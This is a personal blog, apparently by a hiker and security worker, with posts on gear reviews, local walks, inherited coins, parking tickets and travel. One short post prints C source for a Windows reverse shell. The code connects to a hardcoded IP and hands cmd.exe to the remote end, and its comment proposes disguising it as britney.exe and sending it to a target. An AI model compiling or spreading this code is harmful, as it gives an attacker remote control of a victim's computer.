[Review] Tracpac AirJet 35ltr Backpack

The rucksack has been designed for use by the military but is perfect for hikers. The AirJet rucksack comes in different sizes ranging from 25 - 85 litres. I bought the 35ltr version which is perfect size for a day bag. Overall it is an outstanding rucksack, providing comfort and value for money. The AirJet 35 can be bought for around £24 which i think is excellent value. The feature i like the most is the AirJet Back System, a cushioned back with built-in ventilation mesh for added comfort. This really does help reduce sweat where the rucksack is in contact with your body. The other specifications are listed below:

• 2 zipped side pockets with storm flap protection for zips
• zipped top pocket
• 33mm quickrelease waist belt
• 25mm quickrelease chest strap
• 2x6mm carabinas
• two rows of web loops for attaching external equipment
• Fully adjustable shoulder and waist straps

Once your wearing the rucksack even when fully laden, comfort is outstanding, so much so you don't really notice that you are wearing it. This is helped by the waist and chest straps which prevent any movement and provide the feeling that the rucksack is part of your body. I cannot recommend it highly enough.

Below is a link to images and other information relating to the rucksack.

http://www.surplusandadventure.com/shopscr1733.html

[Walking] Equipment Reviews

Recently ive been taking my hiking more seriously so im gradually purchasing more and more equipment. This made me think that once i have been out and tested it i should write a review about each of the items. It may help other walkers and people who purchase similar equipment make up their mind on what they need and what the best items are. So from now on keep an eye out for my equipment reviews.

[Walking] Skelton's Tower and the Hole of Horcum

Today i managed to get out for a walk, id bought some new equipment like rucksacks and others items which i wanted to test. The main thing i wanted to test though was the GPS software that i mentioned before. Its brilliant it did exactly what i wanted it to do, tracked my every move including average speed distance, time, and altitude, so all i had to do when i got home was to upload the data to my PC and it was all there for me. The walk was excellent aswell i managed to do 6 miles in 1 hour 42 minutes which is fairly good going. Once again i took my camera, you can see the images in the Skeltons Tower album on the right hand side of the page. The weather today was absolutely wonderful, spring is finally on its way around i think. Thats probably why there were so many other people out and about today, i only just managed to get a parking space at the top of the hole of horcum it was that busy.



Im out again for another walk tomorrow, im not sure where at the minute but it will be around eight miles, im planning the route this very minute.

[Walking] Memory-Map

Back to the subject of hiking, ive just got some software by memory-map (http://www.memory-map.co.uk/) which is amazing. Its essentially ordanance survey maps in electronic form. This allows you to plan routes by drawing on the maps where you want to go adding waypoints and other relative information. Once you have planned a route you then upload it to your PDA which also has the software installed so you can see the route on the PDA. The PDA is then connected to a GPS receiver, so when your walking you can see your position on the map. Its satellite navigation for hiking, very very useful software and highly recommended for walkers. I haven't taken my PDA out for a trial run yet, and i haven't discovered all the features, the one feature i am hoping for is that if i walk a route which i haven't planned then im hoping the software will track and plot my route so when i get home i can review my path.
The picture above is a screenshot of Memory-Map on my PC. The red path in the one which i drew on, the map is North Yorkshire Moors OS, it shows Skelton's Tower near Levisham a very pleasant walk.

[Coins] 1832 Miraculous Medal

I was also given a gift from my mother the other day that has been passed through the family for many years. Its is 'supposedly' an original 1832 Miraculous Medal made in France and designed by the Virgin Mary herself. The story goes that in 1830 the Virgin Mary appeared on three separate occasions standing on a globe to a woman called Zoe Labore where she was instructed to have the medal struck and distributed. The medal quickly spread as people who wore it were each having visions of the Virgin Mary. My mum had the medal passed down from her from my grandma who in turn had it passed down from her mum and her mother before that ( my great, great, great grandma), that does bring the date to the mid 1800's but whether it is an original will probably never be determined. Im currently wearing it so i hope i don't lose it otherwise there will be a few unhappy people in my family :).

[Coins] 1816 George III sixpence

Im not taking anymore pictures of coins now, its driving me mad, its really difficult to get the focus and other aspects correct because the coins reflect far too much light. This is an 1816 King George III Sixpence. The coins seem to get older and older as i go throught the collection it becomes rather obsessive after a while try to find an older coin than the previous one, and the thought that there maybe an extremely rare one in there somewhere. For a coin of almost 200 years old it is still in rather good condition. Ive also found about 20-30 three pence pieces which arnt as old but are in amazing condition.

[Coins] 1858 Six Pence Piece

Heres another one from the coin collection. This time i am 99.9% confident that it is solid silver. Its a 1858 Six Pence piece. Unfortunately i didn't do a very good job of taking a picture of it. All the coins in the collection are in excellent condition except one which is a 1897 diamond jubilee commemoration coin. Im going to try and figure out the individual price of each of the coins but this may take some time. I have a number of these six pence pieces all of which in excellent condition. Im also going to publish a list of the coins i have so that if anyone has information regarding a specific one they can let me know.

[Coins] 1869 Belgium 5 francs

My Grandma passed on her coin collection to me the other day so i could go through them and value each of the coins, im not an expert on old coins so ive been using www.google.com, obviously!!! Now i came across this coin which is from 1869 and is belgium from the reign of King Leopold II of Belgium, its a 5 franc piece. I managed to find some information on it but nothing exact, if you look at ebay the current bid for one of these was $13 but it hadn't finished when i last looked. This seems surprising because other research i performed suggests that it is made of solid silver because they didn't stop using silver in Belgium francs until 1878?? Unfortunately i don't personally know a person who is proficient in coin valuations! Please let me know if anybody can clarify whether it is solid silver.

Im Fine, Fine, Fine!!!

I would like to thank the traffic warden who gave me this parking ticket....no seriously i would! thats because when i phoned up to pay for it and they asked me to confirm the details of the vehicle, the lovely lady at the other end of the phone read out the make of vehicle: volkswagen. Unfortunately for them my car is a Vauxhall which i pointed out to the lady. I was then informed by her that this invalidates the ticket and do not have to pay the fine because the details are wrong!!! Hence me thanking the traffic warden who obviously doesn't know his cars. Perhaps everyone should remove their badges from their cars or change them to another make, this would give the traffic wardens something to think about.

[Walking] Centenary Way - 78.5miles

Walking is the new love in my life, every week i try and fit in two walks to my busy life because it helps relieve stress and helps me keep fairly healthy. Most of the walks are around 6-8 miles in length. Every so often i decide to do a longer one, and this time ive decided to walk the Centenary Way. This route starts at York Minster and Finishes at Filey brigg. Its 78.5 miles long so not the easiest walk in the world and alot longer than the ones im usually doing. Im hoping to do this within the next month after ive done abit of planning. There were a number of options available to me, take the tent and hope to find some places to pitch it on a night, stay in bed and breakfasts along the route, or stay at home because i live right in the middle of the route. The latter would entail getting picked up and dropped off each morning which isnt the most ideal situation. Once ive decided what to do ill be on my way. Here is some more information about the route:

http://www.walkingontheweb.co.uk/countries/England/walking_routes_England/C/Centenary_Way_North_Yorkshire/Centenary_Way_NY.htm

[Walking] Castle Howard - 8miles

The other day i was trying to decide whether to go for a walk over in cumbria or just got for a walk in the local area. well i decided to go in the local area i actually just walked from my house up to welburn then from welburn across to castle howard and then back to broughton. It was around an 8 mile round trip which isnt bad going as it only took me 2hours 45 minutes. I took my camera out on the way to take some pictures, you can see these on the right hand side of the page.

Tax Rebate

My tax rebate finally came through today, i had to wait until the end of the financial year, for me this happened to be january. Its enough to pay off what i owe for my holiday to magaluf and also i might be able squeeze another holiday out of it depending on how things go. Im overworked at the minute with far to much going on and could do with a nice break.

im going to try and get a pleasant days walking done on friday so i can relax for the day, ideally i should be heading up to dent in the yorkshire dales to climb either whernside, ingleborough or pen-y-ghent to get the practice in for June, but this is maybe abit to far to be driving when there are plenty of good walks in the local area.

I hack charities

Now before you think im some cruel person who deprives charities of their money by hacking them then i better explain. I was looking for some information on http://johnny.ihackstuff.com/ which is a brilliant site surprisingly run by a fella called johnny. ive never met him but his work in the security industry is well documented.

He setup http://www.hackersforcharity.org/ in July of 2007. His reason is explained below:

"My goal is to connect skill with need. Specifically, I want to apply the skills of the hacking community to charitable organizations that need those skills."

As i used to be a penetration testing and am still involved in the network security industry i have a number of things in common with Johnny. He obviously also enjoys supporting charities just like me (http://www.justgiving.com/richardhorsman) so i would recommend donating to the cause or publicising this as much as possible so others can help, if you cannot directly.

Reverse shell

/*
Small C file to create a revshell to a hardcoded IP
Attack Idea: Compile and name britney.exe and send to you target.
*/
#include //#include #pragma comment(lib,"ws2_32")

void main(){// FreeConsole(); WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); FreeConsole(); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(53); adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si);
si.dwFlags =STARTF_USESTDHANDLESSTARTF_USESHOWWINDOW; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
}

Public PGP Key

-----BEGIN PGP PUBLIC KEY BLOCK-----Version: GnuPG v1.4.7 (MingW32)
mQGiBEeKuPYRBACyPZKXZNbFvPOjVrVXAhNOlGRT+/Ises1rl+qYkrAQJ4XIpCYhW+HUlpOwRAsz8PNiVp25fNrtfrYkmIzTUm0lvCU/u7XwGHegzQKLPSX36C1jE6Fe2wPnysZppsFkBWLHF7LgEaycgXy3zBK0fQZ9kHrNkMi5I+h0cm1ZXW+SKwCg7vuCM4L16hsuf9DPMk98DEhpCfMD/jljN7HFsPlDGSwn88/Rf/oT7aMXuHsvWUYN104zGW8iigxJ8jHhU1k2Fsi5O+kD8+99cT3K6l/aRVX9ld75MGjK24nopkYQWsQCEEB3dHzkgwebi/XRPWmITYPk9AwR4yx5ZqfmJBR29Iwx+CWZmXlH1nmlJoMS2hO7EPq6vyShBACpBMNTOqK+iICQi8W9nxDKm4o55/8e9Bx8eXJM8zm6G/i/6oEBW3AVRubhb37hslnu5KlU8yX18e5x5/mhO+mYPJgtUCNuYo9blumpqmRELQPPlY2RO0nKtf1a3bs+5Wi7uAlTM1g0k79I9Os/GizjTatxknDme4K/GNlFK1EcKrQrUmljaGFyZCBIb3JzbWFuIDxyaWNoYXJkLmhvcnNtYW5AZ21haWwuY29tPohgBBMRAgAgBQJHirj2AhsjBgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQiwmjeS5cj5mzdACeNANyg5yIjRAuNW7UOzX3u8GQi5kAoNwd2w9Yp5c9N6ERkfuX5CH86PRquQENBEeKuPYQBADJ/iQwjW2oqxPgmQTC7qG6cp/zcPp/VDDAArLN8UczQtLWHECAvtmUVtrlw+B0Eobj+xKR/IW+b6Ns7LG/84sBMmXeXO0X+xTvru1G1m1v4iXLo9/fGtIwT9FEh3bqK+GJ21BYstqYjlOD3dBGjlp8mGSNJxHIx35cXVVXsYoT6wADBQP/Y7se/M4LBGr/SwlPBmH8z74w4RPOg0XSHOO5Wk7XqEwtnYjRf04xlVnBf37VlvDz33NNZ4oFhVaQDUZZIvjDG12OnEdB1Lpc+cpNl+XVtm4XLhYJucx7PHKu4V3b3FlJxguC7BoUnnCNqCiHfBuzhUDxw3O4XmmCIGyLDrJxkCuISQQYEQIACQUCR4q49gIbDAAKCRCLCaN5LlyPmYVOAKCV7D5OhQ23glh7WdgNCCmuP9E7ewCffmhRu2AmJZe4odsphJkpn/jw26E==qfyB-----END PGP PUBLIC KEY BLOCK-----

this is my public PGP key so encrypted emails are preffered from now on.

Amy MacDonald

The best song in the world at the minute:

http://www.youtube.com/watch?v=c6MRYLWJb1o

Save the planet.......shoot a thief!!!

Thieves, the scum of the earth. I got my ipod stolen from my car yesterday while i nipped in to a shop for 2 minutes so i didnt bother locking it, and when i got back it had been stolen. i suppose its my own fault for leaving the car open but you don't expect something like that happening in two minutes....and then today i went in to York for some lunch which just happened to be the best lunch i have had in a while. 8 Oz Rump steak, curly fries, onion rings, tomato, mushrooms and salad all for £4.49!!!! I couldn't believe it either. I can't remember the name of the place but they have steak days every Wednesday! That was all spoilt when i got back to the car and found that i had a parking ticket for £60 for been 10minutes to late., its turns out my lunch cost me £64.49 not quite as good when you look at it from that perspective.

Scotland

so as i said i might be going to Scotland and i am now. My dad has booked me two days deer stalking, two days fishing and two days golfing at easter which is rather nice of him. Staying in St Andrews for the week which is an amazing town. Thats is around the 22nd of March i think. The week before that i am going down to Cheltenham Race Festival which should be good fun. I had alot of problems finding a hotel because most of them had been fully booked. Eventually i managed to find Wyck Hill House Hotel which is a 56 bedroom mansion about 12 miles outside Cheltenham. it looks like an amazing place: http://www.wyckhillhouse.com/

Also because of my many drunken escapades over the holiday season my new years resolution was to stop drinking ive so far managed this and not drunk since new years eve. Well atleast until i go to Magaluf in June :)

Scotland no more....

I was meant to be heading off for the weekend in Scotland for a pleasant break, unfortuantely it was postponed because of the rubbish weather thats happening up there at the minute, but not to worry because it has been rebooked for March hopefully the weather will have picked up by then. Knowing Scotland it will still be rubbish though!!

New Blog Logo

As you can see ive got a new blog logo now which i managed to do while messing around with photoshop one day. I stumbled across the method to do it by complete accident when trying to design a new logo for a website.

Assignments can kill

So here i am half dead after collapsing and throwing up with severe head pains and what am i doing.....a bloody difficult assignment that is due in on Monday. Well i decided that i needed a break from it so decided to update my blog. As you can probably tell i am completely obsessed with the blogging capabilities of my new phone.

Just testing

Just got my new cybershot phone and am testing it out. Its a Sony Ericsson K810i Cyber-Shot. An it appears at first glimse to be very good. I like the blogging application where you can post straight to your blog, pictures, videos etc etc...This post was done on my phone no doubt i will be uploading random pictures as i go about my daily life from now on.

Brick Walls and Drink == Sore Head

Happy New Year....

Hope your all recovered from the celebrations..im not unfortunately, after drinking excessive amounts of alcohol on new years eve while having a conversation at 3 oclock in the morning about how sober we had all kept fell head first into a brick wall...not surprisingly the wall won, i didnt and ended up with a badly cut and bruised face! i didnt't even know until i woke up in the morning wondering who had stuck a egg on my head.

This was taken on January 3rd with my new phone but trust me it doesnt look like much but it bled alot apparently and all the swelling has gone down when the picture was taken.